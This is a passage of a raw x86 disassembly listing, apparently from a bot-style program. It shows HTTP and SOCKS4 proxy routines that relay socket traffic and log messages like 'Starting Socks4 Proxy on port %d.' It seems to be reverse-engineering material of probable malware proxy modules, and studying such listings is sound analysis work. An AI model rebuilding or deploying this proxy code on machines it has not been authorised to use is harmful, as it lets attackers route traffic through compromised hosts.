		mov	ecx, [esp+5498h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_42A5CD:				; CODE XREF: ___:004299BAj
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226


loc_42A5DE:				; CODE XREF: ___:00429987j
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226


loc_42A5EF:				; CODE XREF: ___:00429741j
					; ___:0042975Aj ...
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226


loc_42A600:				; CODE XREF: ___:00429635j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		jmp	loc_42A57C
; ---------------------------------------------------------------------------


loc_42A629:				; CODE XREF: ___:00429AB3j
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		jmp	loc_42A79A
; ---------------------------------------------------------------------------


loc_42A63B:				; CODE XREF: ___:00429BF4j
		lea	ecx, [esp+0CDh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+18h]
		push	offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	eax
		call	esi	; closesocket
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_42A798
; ---------------------------------------------------------------------------


loc_42A698:				; CODE XREF: ___:00429C10j
		mov	edx, [esp+10Ch]
		lea	ecx, [esp+0CDh]
		push	edx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+1Ch]
		push	offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		call	near ptr 71AB428Ah
		nop


loc_42A6E2:				; CODE XREF: ___:00429CC1j
					; ___:00429CC9j
		mov	edx, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	edx
		call	esi	; closesocket
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_42A798
; ---------------------------------------------------------------------------


loc_42A6FD:				; CODE XREF: ___:00429B9Ej
		mov	ecx, [ebp+0BBh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		jmp	loc_42A79A
; ---------------------------------------------------------------------------


loc_42A70F:				; CODE XREF: ___:00429CEFj
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], ebx
		call	sub_4014BA
		or	esi, 0FFFFFFFFh
		jmp	loc_42A57C
; ---------------------------------------------------------------------------


loc_42A782:				; CODE XREF: ___:0042A2F5j
					; ___:0042A2FDj
		mov	ecx, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	ecx
		call	esi	; closesocket
		mov	edx, [ebp+0BFh]
		push	edx


loc_42A798:				; CODE XREF: ___:0042A693j
					; ___:0042A6F8j
		call	esi	; closesocket


loc_42A79A:				; CODE XREF: ___:0042A636j
					; ___:0042A70Aj
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], ebx
		call	sub_4014BA
		jmp	loc_42A5B4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42ACB0	proc near		; CODE XREF: sub_4018EDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42ACB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aHttp_0	; "HTTP"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F15C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42ACB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42AD20:				; CODE XREF: ___:loc_40112Cj
					; ___:0040128Fj
		push	esi
		mov	esi, ecx
		call	sub_402126
		test	byte ptr [esp+8], 1
		jz	short loc_42AD38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42AD38:				; CODE XREF: ___:0042AD2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AD50	proc near		; CODE XREF: sub_402126j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	off_43F15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42AD6B
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42AD6B:				; CODE XREF: sub_42AD50+12j
		mov	ecx, esi
		call	sub_4017A8
		pop	esi
		retn
sub_42AD50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AD90	proc near		; CODE XREF: sub_4010E1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AD90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_42ADB3:				; CODE XREF: sub_42AD90+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42ADDA
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_40198D
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_42ADB3


loc_42ADDA:				; CODE XREF: sub_42AD90+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42AEAC
		push	ebp
		push	esi


loc_42ADF0:				; CODE XREF: sub_42AD90+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_4012DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42AE8B
		test	ebp, ebp
		jz	short loc_42AE8B
		push	0C3h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+1Ch+var_10], eax
		test	eax, eax
		mov	[esp+1Ch+var_4], 0
		jz	short loc_42AE36
		mov	ecx, eax
		call	sub_401893
		mov	esi, eax
		jmp	short loc_42AE38
; ---------------------------------------------------------------------------


loc_42AE36:				; CODE XREF: sub_42AD90+99j
		xor	esi, esi


loc_42AE38:				; CODE XREF: sub_42AD90+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	[esp+20h+var_4], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_401FDC
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_4013DE
		jmp	short loc_42AE96
; ---------------------------------------------------------------------------


loc_42AE8B:				; CODE XREF: sub_42AD90+74j
					; sub_42AD90+7Cj
		push	0FAh
		nop
		call	near ptr 28502B8h


loc_42AE96:				; CODE XREF: sub_42AD90+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_42ADF0
		pop	esi
		pop	ebp


loc_42AEAC:				; CODE XREF: sub_42AD90+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42AEBE
		push	edi
		nop
		call	near ptr 71AB9639h


loc_42AEBE:				; CODE XREF: sub_42AD90+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AD90	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AF20	proc near		; CODE XREF: sub_40137Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_42AF48
		call	sub_4017EE
		push	eax
		push	offset aSStartingProxy ; "[%s] Starting	proxy on %d with SSL."
		jmp	short loc_42AF53
; ---------------------------------------------------------------------------


loc_42AF48:				; CODE XREF: sub_42AF20+19j
		call	sub_4017EE
		push	eax
		push	offset aSStartingPro_0 ; "[%s] Starting	proxy on port %d."


loc_42AF53:				; CODE XREF: sub_42AF20+26j
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_4010E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_4017EE
		push	eax
		push	offset aSUnloadedProxy ; "[%s] Unloaded	proxy on port %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42AF20	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AFF0	proc near		; CODE XREF: sub_40213Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AFF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F16C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AFF0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B060:				; CODE XREF: ___:0040187Fj
					; ___:loc_401B18j
		push	esi
		mov	esi, ecx
		call	sub_401FA5
		test	byte ptr [esp+8], 1
		jz	short loc_42B078
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B078:				; CODE XREF: ___:0042B06Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B090	proc near		; CODE XREF: sub_401FA5j
		jmp	sub_4017A8
sub_42B090	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B0B0	proc near		; CODE XREF: sub_4010AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_511CA4
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_42B0F1
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B0F1:				; CODE XREF: sub_42B0B0+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_42B2DC
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_42B12E
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B12E:				; CODE XREF: sub_42B0B0+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_42B2DC
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_42B1C9
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0A1h]
		push	eax
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B1C9:				; CODE XREF: sub_42B0B0+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [ebp+0A1h]
		mov	esi, dword_511CAC
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi	; ioctlsocket
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi	; ioctlsocket


loc_42B226:				; CODE XREF: sub_42B0B0+1AFj
					; sub_42B0B0+1FEj ...
		mov	edi, dword_511CA4
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	loc_42B2CA
		jge	short loc_42B261
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_42B261
		push	0Ah
		nop
		call	near ptr 28502B8h
		jmp	short loc_42B226
; ---------------------------------------------------------------------------


loc_42B261:				; CODE XREF: sub_42B0B0+198j
					; sub_42B0B0+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	short loc_42B2CA
		jge	short loc_42B2B3
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_42B2B3
		push	0Ah
		nop
		call	near ptr 28502B8h
		jmp	loc_42B226
; ---------------------------------------------------------------------------


loc_42B2B3:				; CODE XREF: sub_42B0B0+1E7j
					; sub_42B0B0+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		nop
		call	near ptr 71AB428Ah
		jmp	loc_42B226
; ---------------------------------------------------------------------------


loc_42B2CA:				; CODE XREF: sub_42B0B0+192j
					; sub_42B0B0+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, dword_511C9C
		push	eax
		call	esi	; closesocket
		push	ebx
		call	esi	; closesocket


loc_42B2DC:				; CODE XREF: sub_42B0B0+46j
					; sub_42B0B0+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_42B0B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B380	proc near		; CODE XREF: sub_40218Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B380
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F17C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B380	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B3F0	proc near		; CODE XREF: ___:00401032j sub_4017B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C4E
		test	[esp+4+arg_0], 1
		jz	short loc_42B408
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B408:				; CODE XREF: sub_42B3F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B3F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B420	proc near		; CODE XREF: sub_401C4Ej
		jmp	sub_4017A8
sub_42B420	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B440	proc near		; CODE XREF: sub_40189Dj

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42B440
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_4017EE
		push	eax
		push	offset aSStartingSocks ; "[%s] Starting	Socks4 Proxy on	port %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42B649
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42B516
		mov	ecx, [esi+9Dh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42B516:				; CODE XREF: sub_42B440+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42B600


loc_42B52C:				; CODE XREF: sub_42B440+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42B550
		push	0FAh
		call	near ptr 28502B8h
		nop
		jmp	loc_42B5EC
; ---------------------------------------------------------------------------


loc_42B550:				; CODE XREF: sub_42B440+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42B600
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42B600
		push	0A5h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42B59E
		mov	ecx, eax
		call	sub_40213A
		mov	edi, eax


loc_42B59E:				; CODE XREF: sub_42B440+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_401FDC
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_42B5EC:				; CODE XREF: sub_42B440+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42B52C


loc_42B600:				; CODE XREF: sub_42B440+E6j
					; sub_42B440+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_42B614
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B614:				; CODE XREF: sub_42B440+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_4017EE
		push	eax
		push	offset aSUnloadedPro_0 ; "[%s] Unloaded	proxy on %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch


loc_42B649:				; CODE XREF: sub_42B440+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42B440	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B6F0	proc near		; CODE XREF: sub_401758j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jz	short loc_42B711
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_42B711:				; CODE XREF: sub_42B6F0+Dj
		xor	al, al
		retn	8
sub_42B6F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B730	proc near		; CODE XREF: sub_4020E0j

var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_42B751:				; CODE XREF: sub_42B730+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42B76A:				; CODE XREF: sub_42B730+45j
		cmp	[ecx], ebx
		jz	short loc_42B777
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42B76A


loc_42B777:				; CODE XREF: sub_42B730+3Cj
		cmp	eax, 1
		jnz	short loc_42B788
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_42B788:				; CODE XREF: sub_42B730+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jbe	short loc_42B813
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B813
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42B7BC
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_42B7BE
; ---------------------------------------------------------------------------


loc_42B7BC:				; CODE XREF: sub_42B730+84j
		mov	eax, ebx


loc_42B7BE:				; CODE XREF: sub_42B730+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_42B862
		test	edi, edi
		jz	short loc_42B862
		jbe	short loc_42B80C


loc_42B7EB:				; CODE XREF: sub_42B730+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B862
		add	esi, eax
		cmp	esi, edi
		jb	short loc_42B7EB


loc_42B80C:				; CODE XREF: sub_42B730+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_42B813:				; CODE XREF: sub_42B730+70j
					; sub_42B730+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42B825:				; CODE XREF: sub_42B730+100j
		cmp	[ecx], ebx
		jz	short loc_42B832
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42B825


loc_42B832:				; CODE XREF: sub_42B730+F7j
		cmp	eax, 1
		jnz	short loc_42B844
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_42B844:				; CODE XREF: sub_42B730+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jle	loc_42B751


loc_42B862:				; CODE XREF: sub_42B730+B3j
					; sub_42B730+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_42B730	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B8E0	proc near		; CODE XREF: sub_401C30j

var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_400		= dword	ptr -400h
